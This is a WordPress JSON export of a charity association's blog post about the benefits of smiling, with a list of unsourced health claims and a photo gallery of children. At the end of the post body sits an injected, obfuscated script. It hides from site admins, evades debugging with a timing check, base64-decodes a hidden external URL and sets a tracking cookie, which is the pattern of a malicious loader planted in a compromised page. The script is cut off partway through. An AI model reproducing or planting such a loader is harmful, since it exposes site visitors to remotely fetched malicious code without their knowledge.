{"id":11463,"date":"2017-06-15T06:00:54","date_gmt":"2017-06-15T04:00:54","guid":{"rendered":"https:\/\/www.wecare-association.com\/the-power-of-a-smile\/"},"modified":"2026-03-19T07:36:25","modified_gmt":"2026-03-19T06:36:25","slug":"the-power-of-a-smile","status":"publish","type":"post","link":"https:\/\/wecare-association.com\/en\/the-power-of-a-smile\/","title":{"rendered":"The Power of a Smile"},"content":{"rendered":"<p>Smile<\/p>\n<p>Verb [without object] (sb. smiles (somehow)) <\/p>\n<p>&#8220;to pull up the corners of your mouth to show that you like someone or something, or that you are happy.&#8221;<\/p>\n<p>According to Charlie Chaplin, every day you don&#8217;t smile is a day lost. And Mother Theresa was of the opinion that we will never know how much good a simple smile can do. <\/p>\n<p>When we laugh or smile, the facial muscle between our cheek and eye presses on the nerve that signals a happy mood to our brain.<\/p>\n<p>10 more reasons to smile.<\/p>\n<p>Smile<\/p>\n<ul>\n<li>reduces stress.<\/li>\n<li>looks likeable.<\/li>\n<li>makes people more attractive.<\/li>\n<li>causes the body to release happiness hormones, which have an anti-inflammatory and pain-relieving effect.<\/li>\n<li>stimulates the metabolism.<\/li>\n<li>reduces tensions and inhibitions.<\/li>\n<li>relaxes and increases well-being.<\/li>\n<li>creates closeness to people.<\/li>\n<li>reduces the risk of heart attack.<\/li>\n<li>increases the oxygen exchange in the brain and thus increases the ability to concentrate.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p>These children have an irresistible smile.<\/p>\n<p><div id='gallery-1' class='gallery galleryid-11463 gallery-columns-3 gallery-size-large'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1.jpg'><img fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"532\" src=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1-800x532.jpg\" class=\"attachment-large size-large\" alt=\"\" srcset=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1-800x532.jpg 800w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1-600x399.jpg 600w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1-400x266.jpg 400w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1-768x511.jpg 768w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln1.jpg 1024w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia.jpg'><img decoding=\"async\" width=\"800\" height=\"533\" src=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-800x533.jpg\" class=\"attachment-large size-large\" alt=\"\" srcset=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-800x533.jpg 800w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-600x400.jpg 600w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-400x267.jpg 400w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-768x512.jpg 768w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia-1536x1024.jpg 1536w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Lachender_Junge_Kenia.jpg 1920w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2.jpg'><img decoding=\"async\" width=\"800\" height=\"533\" src=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2-800x533.jpg\" class=\"attachment-large size-large\" alt=\"\" srcset=\"https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2-800x533.jpg 800w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2-600x400.jpg 600w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2-400x266.jpg 400w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2-768x512.jpg 768w, https:\/\/wecare-association.com\/wp-content\/uploads\/2017\/06\/Laecheln2.jpg 1024w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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